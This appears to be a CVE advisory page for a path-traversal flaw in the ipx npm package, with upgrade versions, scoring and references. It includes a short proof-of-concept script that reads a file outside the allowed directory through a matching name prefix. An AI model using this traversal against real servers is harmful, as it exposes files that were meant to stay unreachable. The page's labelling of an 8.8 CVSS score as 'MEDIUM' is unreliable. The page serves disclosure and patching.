CVE-2025-54387 — Vulnerability in ipx — CVE Details
IPX Allows Path Traversal via Prefix Matching Bypass
What Should I Do?
Address in Next Maintenance Window
Low exploitation probability (1.14%). Schedule for your next planned update.
Does your project use an affected ipx version?
Paste your package-lock.json to check it for CVE-2025-54387 and every other known vulnerability, with CISA KEV and EPSS on each finding. Free with no signup for up to 10 packages, or up to 500 per scan with a free account, which also keeps up to 200 packages in saved projects.
Summary
Summary
The approach used to check whether a path is within allowed directories is vulnerable to path prefix bypass when the allowed directories do not end with a path separator. This occurs because the check relies on a raw string prefix comparison.
PoC
- setup
mkdir ~/public123
move a png file under ~/public123 with name test.png
cd
npm i ipx
main.js
import { createIPX, ipxFSStorage } from "ipx";
const ipx = createIPX({
storage: ipxFSStorage({ dir: "./public" }),
});
(async () => {
{
const source = await ipx("../public123/test.png"); // access file outside ./public dir because of same prefix folder
const { data, format } = await source.process();
console.log(format) // print image data
}
{
try {
const source = await ipx("../publi123/test.png"); // forbidden path: the prefix is not the same
const { data, format } = await source.process();
console.log(data)
} catch (err) {
console.log(err.message) // Forbidden path:
}
}
})()
node main.js
png
Forbidden path: /../publi123/test.png
Impact
Path Traversal
Possible Fix
Check if the dir ends with / (path separator) and if not, add before calling startsWith
Advisory Timeline
- First published August 4, 2025 (479 days ago).
- Last revised September 10, 2026 — 402 days after initial publication.
Remediation
Upgrade to the fixed version using your package manager.
npm install ipx@3.1.1
npm install ipx@1.3.2
npm install ipx@2.1.1
After upgrading, scan your dependencies again to confirm the vulnerability is resolved.
Affected Packages (3)
Affects 1 ecosystem: npm (1).
Vulnerability Classification
Common Weakness Enumeration (CWE) identifiers for this vulnerability type.
- CWE-22Path TraversalMITRE
CVSS Score Breakdown
What the CVSS (Common Vulnerability Scoring System) 8.8 score means for each attack dimension.
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:H/SI:L/SA:N
References
- https://github.com/unjs/ipx/security/advisories/GHSA-mm3p-j368-7jcrWEB
- https://nvd.nist.gov/vuln/detail/CVE-2025-54387ADVISORY
- https://github.com/unjs/ipx/commit/81693ddbfc062cc922e4e2406e8427ab4e3ad214WEB
- https://github.com/unjs/ipxPACKAGE
- https://github.com/unjs/ipx/releases/tag/v1.3.2WEB
- https://github.com/unjs/ipx/releases/tag/v2.1.1WEB
- https://github.com/unjs/ipx/releases/tag/v3.1.1WEB
Frequently Asked Questions
- What is CVE-2025-54387?
- IPX Allows Path Traversal via Prefix Matching Bypass. This vulnerability has been assigned a severity rating of MEDIUM (CVSS score: 8.8/10).
- How do I check if my project is affected by CVE-2025-54387?
- CVE-2025-54387 affects ipx. It has a 1.1% probability of exploitation within 30 days (EPSS score). Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2025-54387 and 200,000+ other known vulnerabilities.
Severity & Exploitability
Significant impact if exploited, or exploitable with modest effort.
This is an above-median EPSS score — 66.3% of tracked vulnerabilities score at or below it, putting its exploitation likelihood in the upper half of the tracked corpus.
Also Known As
Related CVEs
- CVE-2026-94543MEDIUM
Next.js has cache poisoning of SSG and ISR pages in self-hosted applications
- CVE-2026-94545MEDIUM
Satori-generated SVG has improper escaping